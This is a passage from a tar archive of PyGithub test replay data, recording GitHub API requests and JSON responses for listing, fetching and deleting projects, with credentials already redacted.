v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":1,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2018-08-13T19:07:20Z","pushed_at":"2018-08-13T19:19:26Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"http://pygithub.readthedocs.io/","size":11205,"stargazers_count":1976,"watchers_count":1976,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":691,"mirror_url":null,"archived":false,"open_issues_count":103,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":691,"open_issues":103,"watchers":1976,"default_branch":"master"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2018-08-13T19:07:20Z","pushed_at":"2018-08-13T19:19:26Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"http://pygithub.readthedocs.io/","size":11205,"stargazers_count":1976,"watchers_count":1976,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":691,"mirror_url":null,"archived":false,"open_issues_count":103,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":691,"open_issues":103,"watchers":1976,"default_branch":"master"},"network_count":691,"subscribers_count":0} https GET api.github.com None /projects/1682941 {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sat, 11 Aug 2018 05:11:57 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4977'), ('X-RateLimit-Reset', '1533965918'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"27943de4706a46a49435f50612ed14a7"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.073652'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DB5F:5AC5:10682C2:21382ED:5B6E701D')] {"owner_url":"https://api.github.com/repos/bbi-yggy/PyGithub","url":"https://api.github.com/projects/1682941","html_url":"https://github.com/bbi-yggy/PyGithub/projects/1","columns_url":"https://api.github.com/projects/1682941/columns","id":1682941,"node_id":"MDc6UHJvamVjdDE2ODI5NDE=","name":"TestProject","body":"To be used for testing project access API for PyGithub.","number":1,"state":"open","creator":{"login":"bbi-yggy","id":6392037,"node_id":"MDQ6VXNlcjYzOTIwMzc=","avatar_url":"https://avatars3.githubusercontent.com/u/6392037?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"created_at":"2018-08-01T04:06:57Z","updated_at":"2018-08-03T00:31:17Z"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Project.testGetOrganizationProjects.txt0000644000175100001660000002106314756101563026044 0ustar00runnerdockerhttps GET api.github.com None /orgs/PyGithubTestOrg {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sat, 11 Aug 2018 04:59:31 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4984'), ('X-RateLimit-Reset', '1533965918'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"5aadd27e349e1364c5686beabf625c25"'), ('Last-Modified', 'Tue, 07 Aug 2018 21:30:35 GMT'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', 'admin:org, read:org, repo, user, write:org'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.076932'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DB30:5AC6:C50C78:1BDB630:5B6E6D32')] {"login":"PyGithubTestOrg","id":16930092,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE2OTMwMDky","url":"https://api.github.com/orgs/PyGithubTestOrg","repos_url":"https://api.github.com/orgs/PyGithubTestOrg/repos","events_url":"https://api.github.com/orgs/PyGithubTestOrg/events","hooks_url":"https://api.github.com/orgs/PyGithubTestOrg/hooks","issues_url":"https://api.github.com/orgs/PyGithubTestOrg/issues","members_url":"https://api.github.com/orgs/PyGithubTestOrg/members{/member}","public_members_url":"https://api.github.com/orgs/PyGithubTestOrg/public_members{/member}","avatar_url":"https://avatars3.githubusercontent.com/u/16930092?v=4","description":"Blackbird Interactive is an independent game development studio dedicated to creating world-class, immersive, compelling and stylish interactive experiences.","name":"Blackbird Interactive Inc.","company":null,"blog":"http://PyGithubTestOrg.com","location":"Vancouver, BC, Canada","email":"support@PyGithubTestOrg.com","is_verified":false,"has_organization_projects":true,"has_repository_projects":true,"public_repos":1,"public_gists":0,"followers":0,"following":0,"html_url":"https://github.com/PyGithubTestOrg","created_at":"2016-01-28T03:12:31Z","updated_at":"2018-08-07T21:30:35Z","type":"Organization","total_private_repos":19,"owned_private_repos":18,"private_gists":0,"disk_usage":822154,"collaborators":10,"billing_email":"github@PyGithubTestOrg.com","plan":{"name":"silver","space":976562499,"private_repos":20,"filled_seats":76,"seats":0},"default_repository_permission":"none","members_can_create_repositories":false,"two_factor_requirement_enabled":false} https GET api.github.com None /orgs/PyGithubTestOrg/projects?state=open {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sat, 11 Aug 2018 04:59:31 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4983'), ('X-RateLimit-Reset', '1533965918'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"4b04fe124cbf0d6f615f1a889b057a2f"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.165079'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DB31:5AC6:C50C8C:1BDB65D:5B6E6D33')] [{"owner_url":"https://api.github.com/orgs/PyGithubTestOrg","url":"https://api.github.com/projects/1085833","html_url":"https://github.com/orgs/PyGithubTestOrg/projects/1","columns_url":"https://api.github.com/projects/1085833/columns","id":1085833,"node_id":"MDc6UHJvamVjdDEwODU4MzM=","name":"Project1","body":"First test project.","number":1,"state":"open","creator":{"login":"bbi-yggy","id":6392037,"node_id":"MDQ6VXNlcjYzOTIwMzc=","avatar_url":"https://avatars3.githubusercontent.com/u/6392037?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"created_at":"2017-11-21T23:03:55Z","updated_at":"2018-08-02T20:56:37Z","organization_permission":"write","private":true},{"owner_url":"https://api.github.com/orgs/PyGithubTestOrg","url":"https://api.github.com/projects/1085834","html_url":"https://github.com/orgs/PyGithubTestOrg/projects/2","columns_url":"https://api.github.com/projects/1085834/columns","id":1085834,"node_id":"MDc6UHJvamVjdDEwODU4MzQ=","name":"Project2","body":"Second test project.","number":2,"state":"open","creator":{"login":"bbi-yggy","id":6392037,"node_id":"MDQ6VXNlcjYzOTIwMzc=","avatar_url":"https://avatars3.githubusercontent.com/u/6392037?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"created_at":"2017-11-21T23:04:43Z","updated_at":"2018-07-30T23:20:19Z","organization_permission":"read","private":true},{"owner_url":"https://api.github.com/orgs/PyGithubTestOrg","url":"https://api.github.com/projects/1623594","html_url":"https://github.com/orgs/PyGithubTestOrg/projects/3","columns_url":"https://api.github.com/projects/1623594/columns","id":1623594,"node_id":"MDc6UHJvamVjdDE2MjM1OTQ=","name":"Project3","body":"Third test project","number":3,"state":"open","creator":{"login":"bbi-yggy","id":6392037,"node_id":"MDQ6VXNlcjYzOTIwMzc=","avatar_url":"https://avatars3.githubusercontent.com/u/6392037?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"created_at":"2018-07-04T04:21:58Z","updated_at":"2018-08-03T21:52:04Z","organization_permission":"write","private":true}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Project.testGetRepositoryProjects.txt0000644000175100001660000001023014756101563025551 0ustar00runnerdockerhttps GET api.github.com None /repos/bbi-yggy/PyGithub/projects?state=all {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sat, 11 Aug 2018 04:53:47 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4987'), ('X-RateLimit-Reset', '1533965918'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"ba42e988ba2c8b55631630810faf2098"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.098354'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DB0A:5AC3:59436D:DE4A3B:5B6E6BDA')] [{"owner_url":"https://api.github.com/repos/bbi-yggy/PyGithub","url":"https://api.github.com/projects/1682941","html_url":"https://github.com/bbi-yggy/PyGithub/projects/1","columns_url":"https://api.github.com/projects/1682941/columns","id":1682941,"node_id":"MDc6UHJvamVjdDE2ODI5NDE=","name":"TestProject","body":"To be used for testing project access API for PyGithub.","number":1,"state":"open","creator":{"login":"bbi-yggy","id":6392037,"node_id":"MDQ6VXNlcjYzOTIwMzc=","avatar_url":"https://avatars3.githubusercontent.com/u/6392037?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"created_at":"2018-08-01T04:06:57Z","updated_at":"2018-08-03T00:31:17Z"},{"owner_url":"https://api.github.com/repos/bbi-yggy/PyGithub","url":"https://api.github.com/projects/1704764","html_url":"https://github.com/bbi-yggy/PyGithub/projects/2","columns_url":"https://api.github.com/projects/1704764/columns","id":1704764,"node_id":"MDc6UHJvamVjdDE3MDQ3NjQ=","name":"TestProjectClosed","body":"Test project in a closed state.","number":2,"state":"closed","creator":{"login":"bbi-yggy","id":6392037,"node_id":"MDQ6VXNlcjYzOTIwMzc=","avatar_url":"https://avatars3.githubusercontent.com/u/6392037?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"created_at":"2018-08-11T04:48:14Z","updated_at":"2018-08-11T04:48:23Z"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Project1434.testDelete.txt0000644000175100001660000000752614756101563022754 0ustar00runnerdockerhttps GET api.github.com None /projects/4102095 {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Thu, 12 Mar 2020 16:11:41 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4965'), ('X-RateLimit-Reset', '1584031338'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"a14cda3955fbecf0927150e0fdcbf29a"'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'FB10:6039:1E7A81:282FC7:5E6A5F3C')] {"owner_url":"https://api.github.com/users/ahhda","url":"https://api.github.com/projects/4102095","html_url":"https://github.com/users/ahhda/projects/7","columns_url":"https://api.github.com/projects/4102095/columns","id":4102095,"node_id":"MDc6UHJvamVjdDQxMDIwOTU=","name":"Test project","body":"new body","number":7,"state":"open","creator":{"login":"ahhda","id":7795956,"node_id":"MDQ6VXNlcjc3OTU5NTY=","avatar_url":"https://avatars2.githubusercontent.com/u/7795956?v=4","gravatar_id":"","url":"https://api.github.com/users/ahhda","html_url":"https://github.com/ahhda","followers_url":"https://api.github.com/users/ahhda/followers","following_url":"https://api.github.com/users/ahhda/following{/other_user}","gists_url":"https://api.github.com/users/ahhda/gists{/gist_id}","starred_url":"https://api.github.com/users/ahhda/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ahhda/subscriptions","organizations_url":"https://api.github.com/users/ahhda/orgs","repos_url":"https://api.github.com/users/ahhda/repos","events_url":"https://api.github.com/users/ahhda/events{/privacy}","received_events_url":"https://api.github.com/users/ahhda/received_events","type":"User","site_admin":false},"created_at":"2020-03-12T16:10:16Z","updated_at":"2020-03-12T16:10:16Z"} https DELETE api.github.com None /projects/4102095 {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Date', 'Thu, 12 Mar 2020 16:11:41 GMT'), ('Server', 'GitHub.com'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4964'), ('X-RateLimit-Reset', '1584031337'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', '932D:7C7D:1E54D8:2828A7:5E6A5F3D')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 